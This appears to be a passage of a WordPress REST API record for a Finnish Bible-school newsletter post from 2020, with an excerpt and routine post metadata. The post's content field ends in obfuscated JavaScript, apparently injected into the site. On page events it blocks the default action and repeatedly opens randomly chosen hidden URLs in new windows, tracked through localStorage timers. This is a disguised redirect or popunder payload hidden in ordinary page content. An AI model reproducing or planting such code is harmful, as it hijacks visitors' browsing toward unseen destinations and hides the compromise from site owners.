_0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)\/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)\/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());<\/script>","protected":false},"excerpt":{"rendered":"<p>Raamattukodin yst\u00e4v\u00e4kirjeen 6\/2020 sis\u00e4lt\u00f6: Mirja ja Halvor Ronningin tervehdys Ronit Maoz Suomessa 11.-18.11. Syksyn muita tilaisuuksia Raamattukodin yst\u00e4v\u00e4t -ohjelma Radio Patmoksessa Rakkaat yst\u00e4v\u00e4t On aika juhlia! Raamattukodin kev\u00e4tlukukauden 2020 viiden kuukauden pituinen kurssi on saatu hyv\u00e4\u00e4n p\u00e4\u00e4t\u00f6kseen \u2013 kaikesta huolimatta. Todistustenjakotilaisuus yliopistolla tapahtui koronarajoitukset istumaj\u00e4rjestelyiss\u00e4 huomioituna. Ilmapiiri oli juhlava ja kiitollinen, ett\u00e4 oltiin p\u00e4\u00e4sty t\u00e4h\u00e4n [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":1670,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3,8],"tags":[],"class_list":["post-1669","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uutiset","category-ystavakirjeet"],"_links":{"self":[{"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/posts\/1669","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1669"}],"version-history":[{"count":10,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/posts\/1669\/revisions"}],"predecessor-version":[{"id":1685,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/posts\/1669\/revisions\/1685"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/media\/1670"}],"wp:attachment":[{"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1669"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1669"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1669"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}